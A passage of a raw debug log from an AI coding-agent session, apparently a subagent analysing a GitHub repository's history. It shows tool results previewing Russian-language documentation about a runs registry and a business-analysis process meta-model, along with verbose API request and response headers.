\"user\",\n[2026-09-29T07:44:34.752Z] [INFO]     \"content\": [\n[2026-09-29T07:44:34.752Z] [INFO]       {\n[2026-09-29T07:44:34.752Z] [INFO]         \"tool_use_id\": \"toolu_01Urgm1Cr3P4HtC49pT1ABmJ\",\n[2026-09-29T07:44:34.752Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:34.752Z] [INFO]         \"content\": \"\\nOutput too large (46.5KB). Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bnrrmjq9l.txt\\n\\nPreview (first 2KB):\\n---\\nstatus: draft\\nversion: 0.7\\nupdated: 2026-09-28\\nai-generated: true\\ntype: registry\\nscope: runs\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/123\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/271\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/293\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/279\\\"\\nrelated_artifacts:\\n  - \\\"standards/runs-contract-standard.md\\\"\\n  - \\\"docs/analysis/2026-08-21-runs-type-gap-analysis.md\\\"\\n---\\n\\n# Runs: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n\\n`runs/` \u2014 \u0435\u0434\u0438\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u0417\u0434\u0435\u0441\u044c \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f\\n\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0430\u043d\u0430\u043b\u0438\u0437\u043e\u0432 \u0438 self-test \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432.\\n\u041c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 `docs/`, `prompts/`, `patterns/` \u0438\\n`standards/`; \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u0438\u0445 \u043f\u0440\u0430\u0432\u0438\u043b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u044e\u0434\u0430.\\n\\n## \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0437\u0430\u043f\u0438\u0441\u0438\\n\\n\u041a\u0430\u0436\u0434\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0436\u0438\u0432\u0451\u0442 \u043f\u043e \u0441\u0445\u0435\u043c\u0435 `runs/YYYY/RUN-XXXX/`.\\n\\n```text\\nruns/\\n\u2514\u2500\u2500 YYYY/\\n    \u2514\u2500\u2500 RUN-XXXX/\\n        \u251c\u2500\u2500 metadata.yaml\\n        \u251c\u2500\u2500 inputs/\\n        \u251c\u2500\u2500 outputs/\\n        \u251c\u2500\u2500 feedback/\\n        \u2514\u2500\u2500 logs/\\n```\\n\\n`metadata.yaml` \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u043e\u043b\u0435\u0439:\\n\\n| \u041f\u043e\u043b\u0435 | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- | --- |\\n| `run_id` | \u0434\u0430 | \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0432\u0438\u0434\u0430 `RUN-XXXX`, \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c \u043f\u0430\u043f\u043a\u0438. |\\n| `process` | \u0434\u0430 | \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438\u043b\u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0441\u044f. |\\n| `version` | \u0434\u0430 | \u0412\u0435\u0440\u0441\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0438\u043b\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. |\\n| `date` | \u0434\u0430 | \u0414\u0430\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 `YYYY-MM-DD`. |\\n| `author` | \u0434\u0430 | \u0410\u0432\u0442\u043e\u0440 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u0411\u0410, \u0447\u0435\u043b\u043e\u0432\u0435\u043a+LLM \u0438\u043b\u0438 \u0430\u0433\u0435\u043d\u0442. |\\n| `model` | \u0434\u0430 | \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c; \u0435\u0441\u043b\u0438 \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u0430, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f `not-recorded`. |\\n| `status` | \u0434\u0430 | \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 `draft`, `experimental`, `success`, `partial-success`, `works-with-edits`. |\\n| `run_type` | \u0434\u0430 (\u043a\u0440\u043e\u043c\u0435 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043e issue #293) | \u0422\u0438\u043f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: `execution`, `statistics` \u0438\u043b\u0438 `legacy`. \u0415\u0441\u043b\u0438 \u043f\u043e\u043b\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442, \u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `execution`. |\\n\\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u043b\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b: `source_paths`, `inputs`, `outputs`, `logs`,\\n...\\n\",\n[2026-09-29T07:44:34.752Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:34.752Z] [INFO]       }\n[2026-09-29T07:44:34.752Z] [INFO]     ]\n[2026-09-29T07:44:34.752Z] [INFO]   },\n[2026-09-29T07:44:34.752Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:34.752Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:34.752Z] [INFO]   \"uuid\": \"e06046b2-78dc-4b1e-9338-9c2c46b7a4a4\",\n[2026-09-29T07:44:34.752Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:34.428Z\",\n[2026-09-29T07:44:34.752Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:34.752Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:34.752Z] [INFO] }\n[2026-09-29T07:44:34.759Z] [STDOUT] [log_38365b] sending request {\n[2026-09-29T07:44:34.766Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:34.771Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:34.777Z] [STDOUT]   options: {\n[2026-09-29T07:44:34.796Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:34.805Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:34.811Z] [STDOUT]     body: {\n[2026-09-29T07:44:34.816Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:34.821Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:34.825Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:34.833Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:34.844Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:34.846Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:34.851Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:34.855Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:34.862Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:34.868Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:34.881Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:34.886Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:34.889Z] [STDOUT]     },\n[2026-09-29T07:44:34.894Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:34.898Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:34.901Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:34.908Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:34.912Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:34.918Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:34.923Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:34.929Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:34.937Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:34.940Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:34.948Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:34.952Z] [STDOUT]     },\n[2026-09-29T07:44:34.955Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:34.960Z] [STDOUT]   },\n[2026-09-29T07:44:34.964Z] [STDOUT]   headers: {\n[2026-09-29T07:44:34.969Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:34.974Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:34.979Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:34.992Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:34.999Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:35.002Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:35.006Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:35.010Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:35.017Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:35.020Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:35.027Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:35.032Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1584;Bash=1551\",\n[2026-09-29T07:44:35.036Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:35.039Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:35.043Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:35.053Z] [STDOUT]     \"x-client-request-id\": \"d8c33eab-8270-4f40-9335-42c24c12a99b\",\n[2026-09-29T07:44:35.056Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:35.061Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:35.065Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:35.073Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:35.079Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:35.082Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:35.087Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:35.091Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:35.094Z] [STDOUT]   },\n[2026-09-29T07:44:35.101Z] [STDOUT] }\n[2026-09-29T07:44:35.106Z] [STDOUT] [log_fddf89, request-id: \"req_011CfXMgzbd7kwZRJVEot1qg\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 820ms\n[2026-09-29T07:44:35.111Z] [STDOUT] [log_fddf89] response start {\n[2026-09-29T07:44:35.119Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:35.123Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:35.127Z] [STDOUT]   headers: {\n[2026-09-29T07:44:35.134Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:35.143Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:35.147Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:35.151Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:35.154Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:35.156Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:35.163Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:35.165Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:35.172Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:35.177Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:35.184Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:35.188Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:35.192Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:35.195Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:35.200Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:35.205Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:35.211Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:35.219Z] [STDOUT]     \"cf-ray\": \"a4295d02a8754d8b-FRA\",\n[2026-09-29T07:44:35.225Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:35.234Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:35.246Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:35.257Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:35.269Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:34 GMT\",\n[2026-09-29T07:44:35.278Z] [STDOUT]     \"request-id\": \"req_011CfXMgzbd7kwZRJVEot1qg\",\n[2026-09-29T07:44:35.287Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:35.300Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:35.310Z] [STDOUT]     traceresponse: \"00-a1d869ca60f2dee37b3de475a7a53b04-b3810c702757c436-01\",\n[2026-09-29T07:44:35.332Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:35.349Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:35.357Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:35.369Z] [STDOUT]   },\n[2026-09-29T07:44:35.372Z] [STDOUT]   durationMs: 820,\n[2026-09-29T07:44:35.375Z] [STDOUT] }\n[2026-09-29T07:44:35.377Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:35.387Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:34 GMT\",\n[2026-09-29T07:44:35.390Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:35.403Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:35.406Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:35.408Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:35.420Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:35.426Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:35.436Z] [STDOUT]   \"vary\": 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\"tool_result\",\n[2026-09-29T07:44:36.574Z] [INFO]         \"content\": \"\\nOutput too large (75.2KB). Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/b7ejdco20.txt\\n\\nPreview (first 2KB):\\n---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n\\n\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\nCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\u0417\u0434\u0435\u0441\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0441 \u0413-26.\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n...\\n\",\n[2026-09-29T07:44:36.574Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:36.574Z] [INFO]       }\n[2026-09-29T07:44:36.574Z] [INFO]     ]\n[2026-09-29T07:44:36.574Z] [INFO]   },\n[2026-09-29T07:44:36.574Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:36.574Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:36.574Z] [INFO]   \"uuid\": \"96112096-0f8b-4056-81a8-873658f0da52\",\n[2026-09-29T07:44:36.574Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:36.559Z\",\n[2026-09-29T07:44:36.574Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:36.574Z] [INFO]     \"stdout\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n\\n\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\nCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c 